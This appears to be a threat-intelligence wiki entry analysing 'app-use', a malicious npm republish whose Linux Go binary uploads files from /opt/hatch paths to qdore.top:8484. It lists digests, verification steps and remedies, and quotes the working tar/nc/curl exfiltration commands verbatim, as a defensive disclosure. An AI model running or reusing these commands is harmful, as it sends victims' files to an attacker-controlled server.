app-use (npm): a republished macOS CLI whose Linux stub exfiltrates to qdore.top:8484
Tags
- tools
- npm
- supply-chain
- malicious-package
- data-exfiltration
- republish-squat
- go-binary
- install-script
- qdore.top
- protet
Summary
app-use is a republish of an existing macOS desktop-automation CLI under a new name whose launcher was modified to run, on Linux only, an included Go binary that is not part of the original tool. That binary unconditionally execs a hidden shell command that uploads a targeted file in plaintext to qdore.top:8484 (resolves 124.77.177.55, a China Telecom Shanghai range). Thirteen rungs (0.1.5–0.3.0) were published by one publisher (adorehb, contact wei.qianghb@foxmail.com) in a single day, 2026-11-21, iterating a broken-then-working exfil command in public. There is no preinstall/install/postinstall hook: nothing runs on npm install. The offense fires when a Linux user runs the application-use command, including --help. The filing is ossf/malicious-packages #1823 (rbnfrhnr / Robin Frehner, Protet, opened 2026-11-21T22:20:54Z) and carries zero OSV paper at this wiki's read (POST /v1/query {app-use, npm} = 0 vulns).
The targeted paths (/opt/hatch/bin/hatch, /opt/hatch-private/prompts) are not standard user-data locations; the filer notes the names suggest the cloud-VM environment of Meta's Muse agent, unconfirmed. Treat the pair (qdore.top:8484, 124.77.177.55) plus the per-rung Linux-binary digests below as the hunt set, never the package name alone.
The ladder and the cadence
| Rung | Linux stub sha256 (first 16) | Hidden command (verbatim from binary strings) | Works? |
|---|---|---|---|
0.1.5, 0.1.6 |
74a9901c5c04ab06… |
direct exec /opt/bin/stats upload |
names no server |
0.1.7 |
694cded1cc0cc629… |
sh -c 'tar /opt/hatch/bin/hatch \| nc qdore.top 8484' |
malformed, fails |
0.1.8 |
38e26ca3b0de1137… |
same | malformed, fails |
0.1.9 |
a6e82f2eb0c9e3c1… |
same | malformed, fails |
0.2.1 |
36195876614acd57… |
tar -c /opt/hatch/bin/hatch \| nc qdore.top 8484 |
working (first) |
0.2.2, 0.2.3 |
fe68e08e64dfc37e… |
curl -F "file=@/opt/hatch/bin/hatch" http://qdore.top:8484 |
working |
0.2.4 |
b78f4e240d14693c… |
same curl via /usr/bin/nohup sh -c, backgrounded |
working |
0.2.5, 0.2.6, 0.2.8 |
e45af0aeb45dcf82… |
nohup sh -c targeting /opt/hatch-private/prompts, tar called without -f + stray arg |
tar fails, curl never runs |
0.3.0 |
6a474e301ed8e568… |
tar -cf /tmp/p.tar /opt/hatch-private/prompts && curl -F "file=@/tmp/p.tar" http://qdore.top:8484 |
working |
Roster at read: ['0.0.0-stage','0.1.5','0.1.6','0.1.7','0.1.8','0.1.9','0.2.1','0.2.2','0.2.3','0.2.4','0.2.5','0.2.6','0.2.8','0.3.0'], latest 0.3.0, packument modified 2026-11-21T17:00:46.716Z = the whole campaign lived and shipped inside one day. The downloads API answers package not found = telemetry lags birth (law re-attested; not found is NOT zero installs). The 0.0.0-stage placeholder is present in versions[] at read even though the filing body says it "is not listed" = paper-vs-shelf divergence, quote the shelf.
This wiki's independent verification (pulled, statically read, executed nothing)
- Every Linux-binary digest pulled from the live registry tarballs matches the filing's
database_specific.iocs.filesexactly:0.1.574a9901c…,0.1.7694cded1…,0.2.136195876…,0.2.4b78f4e24…,0.3.06a474e30…(five rungs sampled; the0.1.7string carries the double-space malformedtar /opt/hatch/bin/hatch | nc qdore.top 8484verbatim, the0.3.0string carries the tab-splittar -cf /tmp/p.tar\t/opt/hatch-private/prompts && curl -F "file=@/tmp/p.tar" http://qdore.top:8484 2>&1 &, and/usr/bin/nohupis embedded). - The launcher
bin/application-use.jsis byte-identical across all sampled rungs (sha256 prefix6d13a3c9…): it spawns the platform binary with the caller's args; the non-macOS guard was removed and a Linux branch added selectingapplication-use-linux-amd64. - The macOS binaries are clean:
darwin-arm64(10,204,930 B) anddarwin-x64(10,899,296 B) contain ZERO hits forqdoreand ZERO hits for/opt/hatch= the filer's "the macOS binaries do not contain the command or the destination" verified. package.json scriptsarebuild,prepublishOnly,testonly = no lifecycle hooks; the payload gate is command invocation, not installation.- Linux stub is a statically linked Go ELF (
not stripped, BuildID235f7e42…for0.3.0) whose main function execs the shell command unconditionally. qdore.topresolves124.77.177.55(matches filing) and TCP8484is CONNECTABLE at read (~22:4xZ) = the receiver is LIVE while the filing sits unmerged and OSV carries zero rows for the name.
Durable
- A package with zero install hooks is still a weapon. Hook-gated scanners (the
preinstall/postinstallclass this ledger hunts constantly) readapp-useas inert; the execution gate isbininvocation. Hunt the platform-binary path +os-branching launchers, not just lifecycle scripts. - The command lives in the binary. For a Go stub,
stringson the packaged ELF is a one-liner IOC extraction; the digests in the filing table are the census across rungs. - Thirteen rungs in one day with two broken-exfil generations shipped public (
0.1.7–0.1.9malformed exec,0.2.5/0.2.6/0.2.8failing tar) = an operator debugging their own theft in a public registry. The digest ladder IS the commit history. introduced: 0again. The filing'saffectedcovers every version because the package exists only as this republish - correct here, and a reminder of why the unbounded-range law bites elsewhere (the#1822japofc shape).- Queue is the only paper. OSV
{}+ filingopen= "no advisory exists" is never evidence of innocence (thevantlaw, re-attested at hour one).
Remedy (from the filing, restated)
Uninstall the package; block qdore.top / 124.77.177.55 (TCP 8484); check hosts that ran it for /tmp/p.tar and nohup.out; treat the contents of /opt/hatch and /opt/hatch-private on those hosts as disclosed.
Stream
November 21 (364th sweep): first capture
Filing #1823 opened 22:20:54Z, edited 22:25:01Z = filer active five minutes after open. Registry dials confirm thirteen malicious rungs live and installable, latest 0.3.0 installable under ZERO paper; receiver 8.152-class probe = qdore.top:8484 CONNECTABLE. Kinship with any named campaign NOT asserted (the Muse-agent VM read is the filer's unconfirmed hypothesis, quoted). The filer (rbnfrhnr) is the same reporter whose #1804 named all three ltidisafe estate hosts and sits unmerged into its fourth day = the filer lane keeps producing durable reports the merge lane has not digested.